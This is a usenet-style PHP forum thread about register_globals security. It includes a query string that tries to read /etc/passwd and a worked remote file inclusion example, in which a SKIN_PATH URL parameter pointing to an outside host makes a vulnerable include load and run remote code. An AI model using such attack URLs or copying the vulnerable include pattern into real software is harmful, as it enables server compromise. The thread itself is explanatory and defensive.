Php query string security

[Simon Hadler]

Hi was asking some questions about this in alt.php but some didn't get answered.
Yes I have read an awful lot now about php security and different advisories
and Idon't mind being called a competely dimwit but I still don't understand
what prevents this from happening if register_global s is ON:

http://www.mywebsite.com/anypage.php?firststep = fopen ("../etc/passwd", "r");&secondste p=fread($firsts tep,filesize(". ./etc/passwd"));

I can't seem to get this or any variations on the above to work inlcuding someting
like thirdstep = print $secondstep , but theoretically it should work shouldn't
it ?

Really my question is not about the above specifiically but it is about this:

Say you have a script which uses no variables, say it just echos 'hello' and
thats all it does, literally:

<?php
echo "hello";
?>

No variables, no include, or file or anything done by the user. Just echo hello
and exit. Nothing else. Is it possible in that scenario to run arbitray code
by doing something like I was describing about with etc/passwd ?

Please advise because this is still not clear.

Thank you for your help with these questions
Simon

[Phil Roberts]

Re: Php query string security

Simon Hadler <nospam@nospam. ns> shot from the breach towards his
enemies, screaming forth the battle cry:
[color=blue]
> http://www.mywebsite.com/anypage.php?firststep = fopen
> ("../etc/passwd",
> "r");&secondste p=fread($firsts tep,filesize(". ./etc/passwd"));[/color]

That would'nt work unless you were dumb enough to run your GET input
through eval()

--
Phil Roberts | Dork Pretending To Be Hard | http://www.flatnet.net/

[Chung Leong]

Re: Php query string security

"Simon Hadler" <nospam@nospam. ns> wrote in message
news:857A1UT038 115.2998726852@ anonymous.poste r...[color=blue]
> Hi was asking some questions about this in alt.php but some didn't get[/color]
answered.[color=blue]
> Yes I have read an awful lot now about php security and different[/color]
advisories[color=blue]
> and Idon't mind being called a competely dimwit but I still don't[/color]
understand[color=blue]
> what prevents this from happening if register_global s is ON:
>
> http://www.mywebsite.com/anypage.php?firststep = fopen ("../etc/passwd",[/color]
"r");&secondste p=fread($firsts tep,filesize(". ./etc/passwd"));[color=blue]
>
> I can't seem to get this or any variations on the above to work inlcuding[/color]
someting[color=blue]
> like thirdstep = print $secondstep , but theoretically it should work[/color]
shouldn't[color=blue]
> it ?
>[/color]

Nope, that will never work. All it does is print out the text
'fopen("../etc/passwd", "r");'.

It's worth remembering that register_global s isn't insecure on its own.
Vulnerabilities related to the feature usually involves poor use of
include/require (lameass single entry point design and such like). Here's an
example:

main.php:

<?php

include("$DOCUM ENT_ROOT/config.php");
include("$SKIN_ PATH/header.php");
include("$SKIN_ PATH/$action.php");
include("$SKIN_ PATH/footer.php");

?>

Every page in this hypothetical site is handled through main.php. Depending
on what the GET parameter "action" is set to, different content appear
(within the same page frame). This application supports mutliple "skins". By
changing $SKIN_PATH in config.php, you can change the entire appearance of
the site. So far so good. Now, in product.php ("product" is one possible
value of $action) another file is included:

product.php:

[ ... stuff ... ]
include("$SKIN_ PATH/shopping_cart.p hp");
[ ... more stuff ... ]


This introduces a vulnerability permitting arbituary code execution, because
if I pass SKIN_PATH in the URL, and I access product.php directly, then I
can get the script to include a remote file:

http://www.viagra4cats.com/patriotic_theme/product.php?SKIN_PATH=http://123.14.123.9

Since I am bypassing main.php, config.php never gets included, so $SKIN_PATH
won't get set and the value from the URL is employed in the include
statement. In this case, http://123.14.123.9/shopping_cart.php would be
loaded and executed.

As you can see, the vulnerability occurs in a quite complicated setup. And
people who write unnessesarily complicated code, who overdesign software,
are usually not security conscious. "Complexity is the enemy of security" to
quote Bruce Schneider. When you combine large codebases, feature bloat, and
people who don't care, the end result is--predictably--insecure PHP
applications. While register_global s is the enabling mechanism, it's not the
cause of the insecurity, and the bad rap that it carries is in my opinion
entirely undeserved.

[Simon Hadler]

Re: Php query string security

In article <KPKdnchm2YqjHQ DdRVn_iw@comcas t.com>, Chung Leong <chernyshevsky@ hotmail.com>
wrote:
[color=blue]
> Nope, that will never work. All it does is print out the text
> 'fopen("../etc/passwd", "r");'.
>[/color]
Well thank you Chung and Phil for your help. I think I kind of slowly realised
afterwards it is still just a meaningless string, until something is done with
it as you and Phil say...

And thanks for detailed example Chung, appreciate it. From what I can understand
and from reading security sites it is amazing another huge batch of vulnerabilities
seems to appear in familar PHP apps everyday along the lines you describe.

Also as I understand always check user input...never trust it, I guess I just
had this notion that it might be possible to execute any code somehow that
I hadn't thought of yet
[color=blue]
> As you can see, the vulnerability occurs in a quite complicated setup. And
> people who write unnessesarily complicated code, who overdesign software,
> are usually not security conscious. "Complexity is the enemy of security"[/color]
to[color=blue]
> quote Bruce Schneider. When you combine large codebases, feature bloat, and
> people who don't care, the end result is--predictably--insecure PHP
> applications. While register_global s is the enabling mechanism, it's not[/color]
the[color=blue]
> cause of the insecurity, and the bad rap that it carries is in my opinion
> entirely undeserved.[/color]

Fair enough and thanks again

Simon